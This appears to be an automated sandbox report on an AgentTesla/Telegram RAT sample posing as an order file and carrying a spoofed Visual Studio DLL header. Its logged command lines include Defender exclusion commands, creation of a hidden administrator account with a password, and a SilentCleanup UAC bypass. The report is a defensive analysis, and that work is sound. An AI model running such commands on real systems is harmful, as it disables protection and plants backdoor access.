add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc7f80	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xca000	0x7cf2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc7fca	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc608f	0xc6200	False	0.937400187303	data	7.93856030024	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xca000	0x7cf2	0x7e00	False	0.498387896825	data	6.40175519141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd2000	0xc	0x200	False	0.044921875	data	0.0980041756627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
IBC	0xca0c4	0x7736	data
RT_VERSION	0xd17fc	0x4f6	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Microsoft Corporation. All rights reserved.
Assembly Version	16.0.0.0
InternalName	Microsoft.VisualStudio.Language.Intellisense.dll
FileVersion	16.6.255.35071
CompanyName	Microsoft Corporation
LegalTrademarks
Comments	Microsoft Visual Studio Editor Platform
ProductName	Microsoft Visual Studio
ProductVersion	16.6.255+ff88cb6b00.RR
FileDescription	Microsoft.VisualStudio.Language.Intellisense
OriginalFilename	Microsoft.VisualStudio.Language.Intellisense.dll

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 05:34:59.250521898 CET	56534	53	192.168.2.4	8.8.8.8
Jan 14, 2022 05:34:59.269767046 CET	53	56534	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 05:34:59.250521898 CET	192.168.2.4	8.8.8.8	0x8a6b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2022 05:34:59.269767046 CET	8.8.8.8	192.168.2.4	0x8a6b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: #NEW ORDER FOR JANUARY 2022.exe PID: 6588 Parent PID: 5188

General

Start time:	05:32:26
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe"
Imagebase:	0xdf0000
File size:	844800 bytes
MD5 hash:	8B974D65BF7E334D75F57027821AC628
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.737999019.0000000005A90000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.737999019.0000000005A90000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000003.705890791.0000000004E74000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 6684 Parent PID: 6588

General

Start time:	05:32:30
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force
Imagebase:	0x1220000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 1744 Parent PID: 6684

General

Start time:	05:32:30
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: net.exe PID: 3604 Parent PID: 6588

General

Start time:	05:32:31
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add
Imagebase:	0xed0000
File size:	46592 bytes
MD5 hash:	DD0561156F62BC1958CE0E370B23711B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 4780 Parent PID: 3604

General

Start time:	05:32:32
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: net1.exe PID: 5692 Parent PID: 3604

General

Start time:	05:32:33
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add
Imagebase:	0x1380000
File size:	141312 bytes
MD5 hash:	B5A26C2BF17222E86B91D26F1247AF3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net.exe PID: 5664 Parent PID: 6588

General

Start time:	05:32:33
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add
Imagebase:	0xed0000
File size:	46592 bytes
MD5 hash:	DD0561156F62BC1958CE0E370B23711B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 5956 Parent PID: 5664

General

Start time:	05:32:34
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: net1.exe PID: 5344 Parent PID: 5664

General

Start time:	05:32:34
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add
Imagebase:	0x1380000
File size:	141312 bytes
MD5 hash:	B5A26C2BF17222E86B91D26F1247AF3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net.exe PID: 6868 Parent PID: 6588

General

Start time:	05:32:35
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" localgroup users "user" /add
Imagebase:	0xed0000
File size:	46592 bytes
MD5 hash:	DD0561156F62BC1958CE0E370B23711B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 5952 Parent PID: 6868

General

Start time:	05:32:36
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: net1.exe PID: 4864 Parent PID: 6868

General

Start time:	05:32:36
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup users "user" /add
Imagebase:	0x1380000
File size:	141312 bytes
MD5 hash:	B5A26C2BF17222E86B91D26F1247AF3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net.exe PID: 6908 Parent PID: 6588

General

Start time:	05:32:37
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" localgroup administrators "user" /del
Imagebase:	0xed0000
File size:	46592 bytes
MD5 hash:	DD0561156F62BC1958CE0E370B23711B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 2628 Parent PID: 6908

General

Start time:	05:32:38
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: net1.exe PID: 7040 Parent PID: 6908

General

Start time:	05:32:38
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup administrators "user" /del
Imagebase:	0x1380000
File size:	141312 bytes
MD5 hash:	B5A26C2BF17222E86B91D26F1247AF3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7136 Parent PID: 568

General

Start time:	05:32:39
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: schtasks.exe PID: 6240 Parent PID: 6588

General

Start time:	05:32:39
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Imagebase:	0x10a0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5460 Parent PID: 6240

General

Start time:	05:32:40
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 7056 Parent PID: 6588

General

Start time:	05:32:41
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Imagebase:	0x1220000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 7060 Parent PID: 6588

General

Start time:	05:32:42
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Imagebase:	0x1220000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 6964 Parent PID: 7056

General

Start time:	05:32:42
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1556 Parent PID: 7060

General

Start time:	05:32:43
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 1472 Parent PID: 6588

General

Start time:	05:32:43
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force
Imagebase:	0x1220000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 4672 Parent PID: 1472

General

Start time:	05:32:44
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: ComSvcConfig.exe PID: 4564 Parent PID: 6588

General

Start time:	05:32:51
Start date:	14/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
Imagebase:	0x1823aae0000
File size:	173672 bytes
MD5 hash:	2778AE0EB674B74FF8028BF4E51F1DF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: aspnet_regbrowsers.exe PID: 7068 Parent PID: 6588

General

Start time:	05:32:53
Start date:	14/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Imagebase:	0xfd0000
File size:	45160 bytes
MD5 hash:	B490A24A9328FD89155F075FA26C0DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001F.00000000.710933564.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000001F.00000000.710933564.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001F.00000000.710472370.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000001F.00000000.710472370.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001F.00000000.710080019.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000001F.00000000.710080019.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001F.00000000.709643389.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000001F.00000000.709643389.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001F.00000002.754034850.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000001F.00000002.754034850.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 4876 Parent PID: 3424

General

Start time:	05:32:54
Start date:	14/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe"
Imagebase:	0xbf0000
File size:	844800 bytes
MD5 hash:	8B974D65BF7E334D75F57027821AC628
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000020.00000002.786901859.0000000005F70000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000020.00000002.786901859.0000000005F70000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 19%, ReversingLabs

Chronological Activities

Analysis Process: svchost.exe PID: 1004 Parent PID: 568

General

Start time:	05:32:56
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 6008 Parent PID: 4876

General

Start time:	05:33:02
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Imagebase:	0x1220000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 612 Parent PID: 6008

General

Start time:	05:33:02
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6712 Parent PID: 3424

General

Start time:	05:33:03
Start date:	14/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe"
Imagebase:	0xfb0000
File size:	844800 bytes
MD5 hash:	8B974D65BF7E334D75F57027821AC628
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000024.00000003.773583087.0000000004B9C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000024.00000002.850912152.0000000006330000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000024.00000002.850912152.0000000006330000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000024.00000002.842251291.0000000004AED000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000024.00000002.842251291.0000000004AED000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000024.00000003.778067403.0000000004B45000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: aspnet_regbrowsers.exe PID: 4588 Parent PID: 4876

General

Start time:	05:33:09
Start date:	14/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Imagebase:	0xbe0000
File size:	45160 bytes
MD5 hash:	B490A24A9328FD89155F075FA26C0DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000000.744599446.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000025.00000000.744599446.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000000.744014270.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 